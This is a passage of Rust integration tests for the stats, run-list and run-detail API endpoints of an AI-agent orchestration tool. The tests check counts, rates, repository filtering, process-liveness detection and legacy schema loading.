20410            stats.json()["runs_unreadable"],
20411            health.json()["runs_unreadable"],
20412            "the dashboard and /api/health must never disagree about how many \
20413             runs could not be read"
20414        );
20415    }
20416
20417    #[tokio::test]
20418    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
20419        let f = Fixture::start().await;
20420        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20421        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
20422        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
20423
20424        let totals = &f.get("/api/stats").await.json()["totals"];
20425        assert_eq!(totals["runs"], 3);
20426        assert_eq!(totals["merged"], 1);
20427        assert_eq!(totals["stalled"], 1);
20428        assert_eq!(totals["in_progress"], 1);
20429        // A stalled run must never read as blocked/merged/ready - it is its
20430        // own bucket, not folded into a "decided" one.
20431        assert_eq!(totals["blocked"], 0);
20432        assert_eq!(totals["ready"], 0);
20433    }
20434
20435    #[tokio::test]
20436    async fn stats_advisors_report_proposals_and_reflection() {
20437        use crate::advise::{Advice, AdvisorRecord, Reflection};
20438        use crate::verdict::Proposal;
20439
20440        let f = Fixture::start().await;
20441        let mut state = RunState::new(
20442            PathBuf::from("/repo/magi"),
20443            "main".to_owned(),
20444            "0123456789abcdef".to_owned(),
20445            "task".to_owned(),
20446            Config::default(),
20447        );
20448        state.id = "20260902-140501-a".to_owned();
20449        state.status = RunStatus::Merged;
20450        state.advice = Some(Advice {
20451            records: vec![
20452                AdvisorRecord {
20453                    seat: "advisor-1".to_owned(),
20454                    agent: "alpha".to_owned(),
20455                    proposal: Some(Proposal {
20456                        approach: "do it".to_owned(),
20457                        key_tradeoff: "speed over memory".to_owned(),
20458                        risks: Vec::new(),
20459                        touches: Vec::new(),
20460                        why_not_naive: "breaks under load".to_owned(),
20461                    }),
20462                    error: None,
20463                    duration_ms: 0,
20464                    reflection: Reflection::Strong,
20465                },
20466                AdvisorRecord {
20467                    seat: "advisor-2".to_owned(),
20468                    agent: "alpha".to_owned(),
20469                    proposal: None,
20470                    error: Some("timed out".to_owned()),
20471                    duration_ms: 0,
20472                    reflection: Reflection::Absent,
20473                },
20474            ],
20475            synthesis: Some("blended brief".to_owned()),
20476        });
20477        let dir = f.runs().join(&state.id);
20478        std::fs::create_dir_all(&dir).expect("run dir");
20479        std::fs::write(
20480            dir.join("run.json"),
20481            serde_json::to_string_pretty(&state).expect("serialize run"),
20482        )
20483        .expect("write run.json");
20484
20485        // `alpha` is in no roster here; this test is about the rates.
20486        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
20487        let alpha = advisors
20488            .as_array()
20489            .expect("an array")
20490            .iter()
20491            .find(|a| a["agent"] == "alpha")
20492            .expect("alpha row");
20493        assert_eq!(alpha["seated"], 2);
20494        assert_eq!(alpha["proposed"], 1);
20495        assert_eq!(alpha["absent"], 1);
20496        assert_eq!(alpha["strong"], 1);
20497        assert_eq!(alpha["faint"], 0);
20498        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
20499    }
20500
20501    #[tokio::test]
20502    async fn stats_hides_agents_outside_the_roster_unless_all() {
20503        use crate::run::Candidate;
20504        let repo = TempDir::new().expect("repo dir");
20505        std::fs::write(
20506            repo.path().join("magi.toml"),
20507            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
20508        )
20509        .expect("magi.toml");
20510        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
20511        let mut state = RunState::new(
20512            PathBuf::from("/repo/magi"),
20513            "main".to_owned(),
20514            "0123456789abcdef".to_owned(),
20515            "task".to_owned(),
20516            Config::default(),
20517        );
20518        state.id = "20260902-140501-a".to_owned();
20519        state.status = RunStatus::Merged;
20520        for (label, agent) in [('A', "keep"), ('B', "retired")] {
20521            let mut c: Candidate = serde_json::from_value(serde_json::json!({
20522                "index": 0, "label": label.to_string(), "agent": agent,
20523                "branch": "b", "worktree": "/w",
20524            }))
20525            .expect("candidate");
20526            c.label = label;
20527            state.candidates.push(c);
20528        }
20529        let dir = f.runs().join(&state.id);
20530        std::fs::create_dir_all(&dir).expect("run dir");
20531        std::fs::write(
20532            dir.join("run.json"),
20533            serde_json::to_string_pretty(&state).expect("serialize run"),
20534        )
20535        .expect("write run.json");
20536
20537        let agents_of = |v: &serde_json::Value| -> Vec<String> {
20538            v["agents"]
20539                .as_array()
20540                .expect("array")
20541                .iter()
20542                .map(|a| a["agent"].as_str().unwrap().to_owned())
20543                .collect()
20544        };
20545        let hidden = f.get("/api/stats").await.json();
20546        assert_eq!(agents_of(&hidden), ["keep"]);
20547        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
20548        assert_eq!(hidden["totals"]["runs"], 1);
20549
20550        let all = f.get("/api/stats?all=true").await.json();
20551        assert_eq!(agents_of(&all).len(), 2);
20552        assert_eq!(all["retired_hidden"], serde_json::json!([]));
20553        // Verify competitive and solo keys exist on agent entries
20554        let keep_agent = all["agents"]
20555            .as_array()
20556            .unwrap()
20557            .iter()
20558            .find(|a| a["agent"] == "keep")
20559            .unwrap();
20560        assert_eq!(keep_agent["competitive_entered"], 1);
20561        assert_eq!(keep_agent["competitive_wins"], 0);
20562        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
20563        assert_eq!(keep_agent["solo_entered"], 0);
20564        assert_eq!(keep_agent["solo_adopted"], 0);
20565        assert!(keep_agent["solo_adoption_rate"].is_null());
20566    }
20567
20568    #[tokio::test]
20569    async fn stats_release_bumps_split_clean_from_attention() {
20570        use crate::run::ReleaseBump;
20571
20572        let f = Fixture::start().await;
20573
20574        let mut clean = RunState::new(
20575            PathBuf::from("/repo/magi"),
20576            "main".to_owned(),
20577            "0123456789abcdef".to_owned(),
20578            "task".to_owned(),
20579            Config::default(),
20580        );
20581        clean.id = "20260902-140501-a".to_owned();
20582        clean.status = RunStatus::Merged;
20583        clean.release_bump = Some(ReleaseBump {
20584            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
20585            version: Some("1.0.0".to_owned()),
20586            automerge_enabled: true,
20587            merged_directly: false,
20588            local: false,
20589            release: None,
20590            problem: None,
20591            action_required: None,
20592            skipped: None,
20593        });
20594
20595        let mut blocked = RunState::new(
20596            PathBuf::from("/repo/magi"),
20597            "main".to_owned(),
20598            "0123456789abcdef".to_owned(),
20599            "task".to_owned(),
20600            Config::default(),
20601        );
20602        blocked.id = "20260902-140502-b".to_owned();
20603        blocked.status = RunStatus::Merged;
20604        blocked.release_bump = Some(ReleaseBump {
20605            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
20606            version: Some("1.0.1".to_owned()),
20607            automerge_enabled: false,
20608            merged_directly: false,
20609            local: false,
20610            release: None,
20611            problem: Some("checks red".to_owned()),
20612            action_required: Some("look at the PR".to_owned()),
20613            skipped: None,
20614        });
20615
20616        for state in [&clean, &blocked] {
20617            let dir = f.runs().join(&state.id);
20618            std::fs::create_dir_all(&dir).expect("run dir");
20619            std::fs::write(
20620                dir.join("run.json"),
20621                serde_json::to_string_pretty(state).expect("serialize run"),
20622            )
20623            .expect("write run.json");
20624        }
20625
20626        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20627        assert_eq!(bumps["merged"], 2);
20628        assert_eq!(bumps["recorded"], 2);
20629        assert_eq!(bumps["pr_opened"], 2);
20630        assert_eq!(bumps["automerge_enabled"], 1);
20631        assert_eq!(bumps["needs_attention"], 1);
20632        assert_eq!(bumps["clean"], 1);
20633        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
20634        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
20635    }
20636
20637    #[tokio::test]
20638    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
20639        let f = Fixture::start().await;
20640        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20641
20642        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20643        assert_eq!(bumps["merged"], 1);
20644        assert_eq!(bumps["recorded"], 0);
20645        // `merged` is nonzero, so coverage still reads as a real 0%, not an
20646        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
20647        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
20648        // `pr_opened` and `recorded` are both zero here, so these rates have
20649        // no denominator to compute from and must be null.
20650        assert_eq!(bumps["automerge_rate"], Value::Null);
20651        assert_eq!(bumps["attention_rate"], Value::Null);
20652    }
20653
20654    #[tokio::test]
20655    async fn stats_queue_counts_come_from_the_live_queue() {
20656        let f = Fixture::start().await;
20657        let q = f.queue();
20658        let mut queued = Task::new(
20659            "queued task".to_owned(),
20660            "do it".to_owned(),
20661            PathBuf::from("/repo"),
20662            Source::Human,
20663        );
20664        q.put(&mut queued).expect("put queued");
20665        let mut held = Task::new(
20666            "held task".to_owned(),
20667            "do it later".to_owned(),
20668            PathBuf::from("/repo"),
20669            Source::Human,
20670        );
20671        held.hold_machine(Some("out of attempts".to_owned()));
20672        q.put(&mut held).expect("put held");
20673
20674        let queue = f.get("/api/stats").await.json()["queue"].clone();
20675        assert_eq!(queue["queued"], 1);
20676        assert_eq!(queue["held"], 1);
20677        assert_eq!(queue["running"], 0);
20678        assert_eq!(queue["done"], 0);
20679        assert_eq!(queue["failed"], 0);
20680        assert_eq!(queue["blocked"], 0);
20681    }
20682
20683    #[tokio::test]
20684    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
20685        let f = Fixture::start().await;
20686        let stats = f.get("/api/stats").await;
20687        assert_eq!(stats.status, 200);
20688        assert_eq!(stats.json()["totals"]["runs"], 0);
20689        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
20690        assert_eq!(stats.json()["runs_unreadable"], 0);
20691        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
20692        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
20693        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
20694        assert_eq!(stats.json()["repo"], Value::Null);
20695    }
20696
20697    #[tokio::test]
20698    async fn stats_lists_every_repository_with_runs_recorded() {
20699        let f = Fixture::start().await;
20700        write_run_repo(
20701            &f.runs(),
20702            "20260902-140501-a",
20703            RunStatus::Merged,
20704            "/repos/a",
20705        );
20706        write_run_repo(
20707            &f.runs(),
20708            "20260902-140502-b",
20709            RunStatus::Merged,
20710            "/repos/a",
20711        );
20712        write_run_repo(
20713            &f.runs(),
20714            "20260902-140503-c",
20715            RunStatus::Blocked,
20716            "/repos/b",
20717        );
20718
20719        let stats = f.get("/api/stats").await;
20720        assert_eq!(stats.status, 200);
20721        // Unfiltered - the aggregate across both repositories.
20722        assert_eq!(stats.json()["totals"]["runs"], 3);
20723        assert_eq!(stats.json()["repo"], Value::Null);
20724
20725        let repos = stats.json()["repos"].clone();
20726        let repos = repos.as_array().unwrap();
20727        assert_eq!(repos.len(), 2);
20728        // Busiest (2 runs) first.
20729        assert_eq!(repos[0]["repo"], "/repos/a");
20730        assert_eq!(repos[0]["name"], "a");
20731        assert_eq!(repos[0]["runs"], 2);
20732        assert_eq!(repos[1]["repo"], "/repos/b");
20733        assert_eq!(repos[1]["runs"], 1);
20734    }
20735
20736    #[tokio::test]
20737    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
20738        let f = Fixture::start().await;
20739        write_run_repo(
20740            &f.runs(),
20741            "20260902-140501-a",
20742            RunStatus::Merged,
20743            "/repos/a",
20744        );
20745        write_run_repo(
20746            &f.runs(),
20747            "20260902-140502-b",
20748            RunStatus::Blocked,
20749            "/repos/b",
20750        );
20751
20752        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
20753        assert_eq!(stats.status, 200);
20754        assert_eq!(stats.json()["totals"]["runs"], 1);
20755        assert_eq!(stats.json()["totals"]["merged"], 1);
20756        assert_eq!(stats.json()["repo"], "/repos/a");
20757        // The repository list itself is unaffected by the filter - it is
20758        // what a client switches repositories from.
20759        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
20760        // runs_unreadable is a whole-workload count, never scoped to the
20761        // selected repository - see StatsView::runs_unreadable's own doc.
20762        assert_eq!(stats.json()["runs_unreadable"], 0);
20763    }
20764
20765    #[tokio::test]
20766    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
20767        let f = Fixture::start().await;
20768        write_run_repo(
20769            &f.runs(),
20770            "20260902-140501-a",
20771            RunStatus::Merged,
20772            "/repos/a",
20773        );
20774        write_run_repo(
20775            &f.runs(),
20776            "20260902-140502-b",
20777            RunStatus::Merged,
20778            "/repos/b",
20779        );
20780
20781        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
20782            let json = f.get(uri).await.json();
20783            let daily = json["daily"].as_array().expect("daily is an array");
20784            assert_eq!(daily.len(), 30);
20785            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
20786            let mut sorted = dates.clone();
20787            sorted.sort();
20788            assert_eq!(dates, sorted);
20789            for d in daily {
20790                assert_eq!(
20791                    d["merged"].as_u64().unwrap()
20792                        + d["ready"].as_u64().unwrap()
20793                        + d["other"].as_u64().unwrap(),
20794                    d["runs"].as_u64().unwrap()
20795                );
20796            }
20797            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
20798        }
20799    }
20800
20801    #[tokio::test]
20802    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
20803        let f = Fixture::start().await;
20804        write_run_repo(
20805            &f.runs(),
20806            "20260902-140501-a",
20807            RunStatus::Merged,
20808            "/repos/a",
20809        );
20810
20811        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
20812        assert_eq!(stats.status, 404);
20813    }
20814
20815    #[tokio::test]
20816    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
20817        let f = Fixture::start().await;
20818        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
20819
20820        let summary = f.get("/api/runs").await.json();
20821        let row = &summary[0];
20822        assert_eq!(row["short"], "a1b2");
20823        assert_eq!(row["status"], "ready");
20824        assert_eq!(row["done"], true);
20825        assert_eq!(row["title"], "Add a web UI");
20826        assert_eq!(row["repo_name"], "magi");
20827        assert_eq!(row["judges"], 3);
20828        assert_eq!(row["winner"], Value::Null);
20829        assert_eq!(row["reviews"], 0);
20830
20831        // The short id resolves, and the detail route is the state itself, not
20832        // a projection of it: the UI reads fields the summary does not carry.
20833        let detail = f.get("/api/runs/a1b2").await;
20834        assert_eq!(detail.status, 200);
20835        assert_eq!(detail.json()["base_branch"], "main");
20836        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
20837    }
20838
20839    /// `status: "ready"` alone cannot tell a run still headed for a landing
20840    /// (a PR closed without merging, say) apart from one `[merge] mode =
20841    /// "none"` left unmerged for good — the confusion the operator flagged
20842    /// after the CLI report already grew a `not landed — nothing to do by
20843    /// design` line for exactly this case (`report.rs`). Both the list route
20844    /// and the detail route must carry a flag the phone can key on instead of
20845    /// re-deriving it from `status` + `merge.mode` itself.
20846    #[tokio::test]
20847    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20848        let f = Fixture::start().await;
20849
20850        let mut none_run = RunState::new(
20851            PathBuf::from("/repo/magi"),
20852            "main".to_owned(),
20853            "0123456789abcdef".to_owned(),
20854            "Add a web UI".to_owned(),
20855            Config::default(),
20856        );
20857        none_run.id = "20260902-140503-none".to_owned();
20858        none_run.status = RunStatus::Ready;
20859        none_run.merge = Some(crate::run::MergeOutcome {
20860            mode: crate::config::MergeMode::None,
20861            ok: true,
20862            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20863            empty: false,
20864        });
20865        write_state(&f.runs(), &none_run);
20866
20867        let mut pr_run = RunState::new(
20868            PathBuf::from("/repo/magi"),
20869            "main".to_owned(),
20870            "0123456789abcdef".to_owned(),
20871            "Add a web UI".to_owned(),
20872            Config::default(),
20873        );
20874        pr_run.id = "20260902-140504-prcl".to_owned();
20875        pr_run.status = RunStatus::Ready;
20876        pr_run.merge = Some(crate::run::MergeOutcome {
20877            mode: crate::config::MergeMode::Pr,
20878            ok: false,
20879            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20880            empty: false,
20881        });
20882        write_state(&f.runs(), &pr_run);
20883
20884        let summary = f.get("/api/runs").await.json();
20885        let rows: std::collections::HashMap<&str, &Value> = summary
20886            .as_array()
20887            .expect("an array")
20888            .iter()
20889            .map(|r| (r["id"].as_str().expect("an id"), r))
20890            .collect();
20891        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20892        assert_eq!(
20893            rows[none_run.id.as_str()]["unmerged_by_design"],
20894            true,
20895            "a mode-none Ready must be flagged in the list"
20896        );
20897        assert_eq!(
20898            rows[pr_run.id.as_str()]["unmerged_by_design"],
20899            false,
20900            "a Ready reached by a closed pull request is a different case"
20901        );
20902
20903        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20904        assert_eq!(none_detail["status"], "ready");
20905        assert_eq!(none_detail["unmerged_by_design"], true);
20906
20907        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20908        assert_eq!(pr_detail["unmerged_by_design"], false);
20909    }
20910
20911    /// `RunState::active` is only ever cleared by whoever populated it, so the
20912    /// detail route also has to say whether a daemon is actually still
20913    /// driving this run right now — otherwise a seat from a killed process's
20914    /// last wave would read as live forever.
20915    #[tokio::test]
20916    async fn run_core_survives_unavailable_related_stores() {
20917        let home = TempDir::new().unwrap();
20918        let ui = delta_test_ui(home.path());
20919        let state = RunState::new(
20920            PathBuf::from("/repo/magi"),
20921            "main".into(),
20922            "0123456789abcdef".into(),
20923            "Useful core instructions".into(),
20924            Config::default(),
20925        );
20926        let dir = ui.runs.join(&state.id);
20927        std::fs::create_dir_all(&dir).unwrap();
20928        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20929        std::fs::write(ui.questions.root(), "unavailable").unwrap();
20930        std::fs::write(ui.queue.root(), "unavailable").unwrap();
20931        let core = run_core(State(ui.clone()), Path(state.id.clone()))
20932            .await
20933            .unwrap()
20934            .0;
20935        assert_eq!(core.state.instruction, state.instruction);
20936        assert_eq!(core.state.updated_at, state.updated_at);
20937        assert!(core.task.is_none());
20938        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20939    }
20940
20941    #[tokio::test]
20942    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20943        let f = Fixture::start().await;
20944        // Matches `write_daemon`'s hard-coded `current.run`, so the second
20945        // half of this test can claim the daemon is working on it without a
20946        // second helper.
20947        let id = "20260902-140502-bbbb";
20948        let mut state = RunState::new(
20949            PathBuf::from("/repo/magi"),
20950            "main".to_owned(),
20951            "0123456789abcdef".to_owned(),
20952            "Add a web UI".to_owned(),
20953            Config::default(),
20954        );
20955        state.id = id.to_owned();
20956        state.status = RunStatus::Judging;
20957        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
20958        let dir = f.runs().join(id);
20959        std::fs::create_dir_all(&dir).expect("run dir");
20960        std::fs::write(
20961            dir.join("run.json"),
20962            serde_json::to_string_pretty(&state).expect("serialize run"),
20963        )
20964        .expect("write run.json");
20965
20966        // No daemon.json at all, and no `driver_pid` recorded either (this
20967        // state was written directly, never through `execute()`): there is
20968        // nothing to confirm either way, so the route must say `"unknown"` —
20969        // never `"dead"`, which is exactly the false diagnosis a manual `magi
20970        // run` used to get from this route before `driver_pid` existed.
20971        let cold = f.get(&format!("/api/runs/{id}")).await.json();
20972        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
20973        assert_eq!(cold["live"], "unknown", "{cold}");
20974
20975        // A fresh heartbeat naming exactly this run: the same entry now reads
20976        // as confirmed, not merely recorded.
20977        write_daemon(f.home.path(), Timestamp::now());
20978        let warm = f.get(&format!("/api/runs/{id}")).await.json();
20979        assert_eq!(warm["live"], "live", "{warm}");
20980    }
20981
20982    #[test]
20983    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
20984        let home = tempfile::tempdir().expect("temp home");
20985        let runs = home.path().join("runs");
20986        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
20987            let mut state = RunState::new(
20988                PathBuf::from("/repo/magi"),
20989                "main".to_owned(),
20990                "0123456789abcdef".to_owned(),
20991                "Generated review context, not authored task criteria".to_owned(),
20992                Config::default(),
20993            );
20994            state.origin = origin;
20995            state.status = RunStatus::Blocked;
20996            // Earlier migrations must not infer these facts again.
20997            state.driver_exited = false;
20998            state.gate_ran = true;
20999            let expected = serde_json::to_value(&state).expect("serialize current state");
21000            let mut legacy = expected.clone();
21001            legacy["schema"] = serde_json::json!(13);
21002            legacy.as_object_mut().unwrap().remove("task_instruction");
21003            let dir = runs.join(&state.id);
21004            std::fs::create_dir_all(&dir).expect("run dir");
21005            let path = dir.join("run.json");
21006            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
21007            std::fs::write(&path, &body).expect("write legacy run");
21008
21009            for loaded in [
21010                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
21011                read_run(&runs, &state.id).expect("web migration"),
21012            ] {
21013                assert_eq!(loaded.schema, crate::run::SCHEMA);
21014                assert!(loaded.task_instruction.is_none());
21015                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
21016            }
21017            assert_eq!(runs_unreadable(&runs), 0);
21018            assert_eq!(std::fs::read(&path).unwrap(), body);
21019        }
21020    }
21021
21022    /// Where a run came from is shown, and a run written before origins were
21023    /// recorded (schema 12, no `origin` key) stays readable and says so.
21024    #[tokio::test]
21025    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
21026        let f = Fixture::start().await;
21027        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
21028            let mut state = RunState::new(
21029                PathBuf::from("/repo/magi"),
21030                "main".to_owned(),
21031                "0123456789abcdef".to_owned(),
21032                "Add a web UI".to_owned(),
21033                Config::default(),
21034            );
21035            state.id = id.to_owned();
21036            state.origin = origin;
21037            let mut value = serde_json::to_value(&state).expect("serialize run");
21038            if let Some(schema) = schema {
21039                value["schema"] = serde_json::json!(schema);
21040                value.as_object_mut().unwrap().remove("origin");
21041            }
21042            let dir = f.runs().join(id);
21043            std::fs::create_dir_all(&dir).expect("run dir");
21044            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
21045        };
21046        write(
21047            "20260930-092817-ec34",
21048            Some(crate::run::Origin::from_agent_env(
21049                Some(("4a7b".to_owned(), "chat".to_owned())),
21050                None,
21051            )),
21052            None,
21053        );
21054        write("20260930-092817-0ld1", None, Some(12));
21055
21056        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
21057        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
21058        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
21059
21060        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
21061        assert_eq!(
21062            old["origin_label"], "origin unknown (started before origins were recorded)",
21063            "{old}"
21064        );
21065        assert!(old["origin"].is_null(), "{old}");
21066
21067        let list = f.get("/api/runs").await.json();
21068        let labels: Vec<_> = list
21069            .as_array()
21070            .unwrap()
21071            .iter()
21072            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
21073            .collect();
21074        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
21075    }
21076
21077    #[tokio::test]
21078    async fn run_progress_observation_exposes_activity_without_control_evidence() {
21079        let f = Fixture::start().await;
21080        let mut state = RunState::new(
21081            PathBuf::from("/repo"),
21082            "main".into(),
21083            "abc".into(),
21084            "task".into(),
21085            Config::default(),
21086        );
21087        state.status = RunStatus::Implementing;
21088        state.seat_started(
21089            "implement",
21090            "implement-A",
21091            std::time::Duration::from_secs(60),
21092            0,
21093        );
21094        state.save_under(f.home.path()).unwrap();
21095        let observed = f
21096            .get(&format!("/api/runs/{}/progress", state.id))
21097            .await
21098            .json();
21099        assert_eq!(observed["id"], state.id);
21100        assert!(observed["observed_at"].is_string());
21101        assert_eq!(observed["updated_at"], state.updated_at.to_string());
21102        assert!(observed["progress"]["activity"].is_string());
21103        for field in [
21104            "config",
21105            "candidates",
21106            "land_approval",
21107            "task",
21108            "waiting",
21109            "done",
21110        ] {
21111            assert!(
21112                observed.get(field).is_none(),
21113                "progress must not expose control evidence: {field}"
21114            );
21115        }
21116    }
21117
21118    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
21119    /// review` claims no daemon at all, so before this field existed the
21120    /// route above read it as `"dead"` — indistinguishable from a run a
21121    /// killed process abandoned — the whole time it was genuinely still
21122    /// answering. With a live pid recorded, it must read `"live"` even
21123    /// though no daemon claims it.
21124    #[tokio::test]
21125    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
21126        let f = Fixture::start().await;
21127        let id = "20260922-090000-cccc";
21128        let mut state = RunState::new(
21129            PathBuf::from("/repo/magi"),
21130            "main".to_owned(),
21131            "0123456789abcdef".to_owned(),
21132            "Review only".to_owned(),
21133            Config::default(),
21134        );
21135        state.id = id.to_owned();
21136        state.status = RunStatus::Reviewing;
21137        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
21138        // This test process's own pid: guaranteed alive, and never needs a
21139        // real daemon or a second process to prove it. The matching start-time
21140        // marker is what `liveness` now requires alongside a live pid — see
21141        // `RunState::driver_started_at`'s own doc for why the pid alone is
21142        // not enough.
21143        state.driver_pid = Some(std::process::id());
21144        state.driver_started_at = Some(
21145            crate::proc::process_started_at(std::process::id())
21146                .expect("this test process's own start time must be queryable"),
21147        );
21148        let dir = f.runs().join(id);
21149        std::fs::create_dir_all(&dir).expect("run dir");
21150        std::fs::write(
21151            dir.join("run.json"),
21152            serde_json::to_string_pretty(&state).expect("serialize run"),
21153        )
21154        .expect("write run.json");
21155
21156        let detail = f.get(&format!("/api/runs/{id}")).await.json();
21157        assert_eq!(detail["live"], "live", "{detail}");
21158    }
21159
21160    /// A killed manual run's pid can be handed to a wholly unrelated later
21161    /// process — a live query on `driver_pid` alone would read this as
21162    /// `"live"`, exactly the false positive `driver_started_at` exists to
21163    /// catch (see that field's own doc, and `RunState::liveness_with`'s
21164    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
21165    #[tokio::test]
21166    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
21167        let f = Fixture::start().await;
21168        let id = "20260922-090100-dddd";
21169        let mut state = RunState::new(
21170            PathBuf::from("/repo/magi"),
21171            "main".to_owned(),
21172            "0123456789abcdef".to_owned(),
21173            "Review only".to_owned(),
21174            Config::default(),
21175        );
21176        state.id = id.to_owned();
21177        state.status = RunStatus::Reviewing;
21178        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
21179        // This test process's own pid really is alive, but the marker
21180        // recorded here does not match what it actually started at —
21181        // standing in for the pid having since been reused by a different
21182        // process than the one that wrote `run.json`.
21183        state.driver_pid = Some(std::process::id());
21184        state.driver_started_at = Some("1".to_owned());
21185        let dir = f.runs().join(id);
21186        std::fs::create_dir_all(&dir).expect("run dir");
21187        std::fs::write(
21188            dir.join("run.json"),
21189            serde_json::to_string_pretty(&state).expect("serialize run"),
21190        )
21191        .expect("write run.json");
21192
21193        let detail = f.get(&format!("/api/runs/{id}")).await.json();
21194        assert_eq!(detail["live"], "dead", "{detail}");
21195    }
21196
21197    /// The deck's competition list is normally the first place an operator
21198    /// sees an old run. It must carry the same process verdict as detail, or
21199    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
21200    #[test]
21201    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
21202        let mk = |id: &str, pid: Option<u32>| {
21203            let mut s = RunState::new(
21204                PathBuf::from("/repo/magi"),
21205                "main".to_owned(),
21206                "0123456789abcdef".to_owned(),
21207                "Add a web UI".to_owned(),
21208                Config::default(),
21209            );
21210            s.id = id.to_owned();
21211            s.driver_pid = pid;
21212            s.driver_started_at = Some("1790000000".to_owned());
21213            s
21214        };
21215        let states = vec![
21216            mk("20260902-140502-aaaa", Some(77)),
21217            mk("20260902-140502-bbbb", Some(77)),
21218            mk("20260902-140502-cccc", Some(77)),
21219            mk("20260902-140502-dddd", None),
21220        ];
21221        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
21222        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
21223        let sup: HashMap<String, String> = [(
21224            "20260902-140502-aaaa".to_owned(),
21225            "20260902-140502-cccc".to_owned(),
21226        )]
21227        .into();
21228
21229        let status_calls = std::cell::Cell::new(0);
21230        let identity_calls = std::cell::Cell::new(0);
21231        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
21232            |_| {
21233                status_calls.set(status_calls.get() + 1);
21234                Some(true)
21235            },
21236            |_| {
21237                identity_calls.set(identity_calls.get() + 1);
21238                Some("1790000000".to_owned())
21239            },
21240        ));
21241        let rows = summarize(
21242            states,
21243            &open,
21244            &claimed,
21245            &sup,
21246            |p| probe.borrow_mut().status(p),
21247            |p| probe.borrow_mut().started_at(p),
21248        );
21249
21250        assert_eq!(status_calls.get(), 1, "one pid, one status query");
21251        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
21252        assert_eq!(rows.len(), 4);
21253        assert!(!rows[0].waiting && rows[1].waiting);
21254        assert_eq!(rows[0].live, crate::run::Liveness::Live);
21255        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
21256        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
21257        assert_eq!(rows[1].superseded_by, None);
21258    }
21259
21260    #[test]
21261    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
21262        let mut state = RunState::new(
21263            PathBuf::from("/repo/magi"),
21264            "main".to_owned(),
21265            "0123456789abcdef".to_owned(),
21266            "Review only".to_owned(),
21267            Config::default(),
21268        );
